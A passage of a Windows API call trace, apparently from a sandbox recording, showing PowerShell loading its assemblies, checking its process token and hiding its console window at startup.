lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.629] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.629] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.629] CoTaskMemFree (pv=0x3d68d0) [0040.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0040.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0040.938] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0040.938] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.938] CoTaskMemFree (pv=0x3d69e0) [0040.939] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0040.939] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.939] CoTaskMemFree (pv=0x3d69e0) [0040.971] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0040.971] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.972] CoTaskMemFree (pv=0x3d69e0) [0040.974] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0040.974] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.974] CoTaskMemFree (pv=0x3d69e0) [0040.974] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0040.974] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.974] CoTaskMemFree (pv=0x3d69e0) [0041.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0041.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0041.095] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0041.095] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.095] CoTaskMemFree (pv=0x3d69e0) [0041.100] CoTaskMemAlloc (cb=0x104) returned 0x3d69e0 [0041.100] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d69e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.101] CoTaskMemFree (pv=0x3d69e0) [0041.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0041.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0041.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0041.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0041.711] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.711] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x24da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0041.757] SetErrorMode (uMode=0x1) returned 0x1 [0041.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x24dcc0 | out: lpFileInformation=0x24dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0041.757] SetErrorMode (uMode=0x1) returned 0x1 [0041.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24da70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24da70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.898] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.898] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.898] CoTaskMemFree (pv=0x3d6c00) [0041.901] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.901] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.901] CoTaskMemFree (pv=0x3d6c00) [0041.901] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.901] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.901] CoTaskMemFree (pv=0x3d6c00) [0041.904] CoCreateGuid (in: pguid=0x24e088 | out: pguid=0x24e088*(Data1=0x4293f7b7, Data2=0xaed4, Data3=0x4c78, Data4=([0]=0xa5, [1]=0x36, [2]=0x89, [3]=0xd8, [4]=0xab, [5]=0x0, [6]=0xce, [7]=0xd0))) returned 0x0 [0041.908] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.908] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.908] CoTaskMemFree (pv=0x3d6c00) [0041.910] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.910] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.910] CoTaskMemFree (pv=0x3d6c00) [0041.912] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0041.912] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0041.912] CoTaskMemFree (pv=0x3d6c00) [0041.917] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0041.918] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x24dd30 | out: lpConsoleScreenBufferInfo=0x24dd30) returned 1 [0041.921] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0041.922] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x24dd30 | out: lpConsoleScreenBufferInfo=0x24dd30) returned 1 [0041.924] GetCurrentProcess () returned 0xffffffffffffffff [0041.924] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x24dd58 | out: TokenHandle=0x24dd58*=0x324) returned 1 [0041.926] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24dc78 | out: TokenInformation=0x0, ReturnLength=0x24dc78) returned 0 [0041.927] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x336a70 [0041.927] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x336a70, TokenInformationLength=0x4, ReturnLength=0x24dc78 | out: TokenInformation=0x336a70, ReturnLength=0x24dc78) returned 1 [0041.928] DuplicateTokenEx (in: hExistingToken=0x324, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x24ddd8 | out: phNewToken=0x24ddd8*=0x320) returned 1 [0041.928] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24dc78 | out: TokenInformation=0x0, ReturnLength=0x24dc78) returned 0 [0041.928] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x336aa0 [0041.929] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x336aa0, TokenInformationLength=0x4, ReturnLength=0x24dc78 | out: TokenInformation=0x336aa0, ReturnLength=0x24dc78) returned 1 [0041.929] CheckTokenMembership (in: TokenHandle=0x320, SidToCheck=0x2da9418*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x24dde8 | out: IsMember=0x24dde8) returned 1 [0041.929] CloseHandle (hObject=0x320) returned 1 [0041.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d850, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d850, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.959] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d850, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0041.998] SetConsoleCtrlHandler (HandlerRoutine=0x1f7677c, Add=1) returned 1 [0042.006] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.006] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.006] CoTaskMemFree (pv=0x3d6c00) [0042.007] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.007] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.007] CoTaskMemFree (pv=0x3d6c00) [0042.210] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.210] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.210] CoTaskMemFree (pv=0x3d6c00) [0042.322] GetConsoleWindow () returned 0x10216 [0042.323] ShowWindow (hWnd=0x10216, nCmdShow=0) returned 0 [0042.339] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x320 [0042.342] CoCreateGuid (in: pguid=0x24ded0 | out: pguid=0x24ded0*(Data1=0x41f59f7f, Data2=0x1230, Data3=0x4fb0, Data4=([0]=0x9f, [1]=0x7f, [2]=0xb5, [3]=0x1a, [4]=0x60, [5]=0x43, [6]=0x7f, [7]=0x79))) returned 0x0 [0042.344] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.344] CoTaskMemFree (pv=0x3d6c00) [0042.375] WinSqmIsOptedIn () returned 0x0 [0042.375] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.375] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.377] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.377] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.377] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.379] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.379] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.382] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.383] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.383] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.385] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.434] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.434] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.434] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.434] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 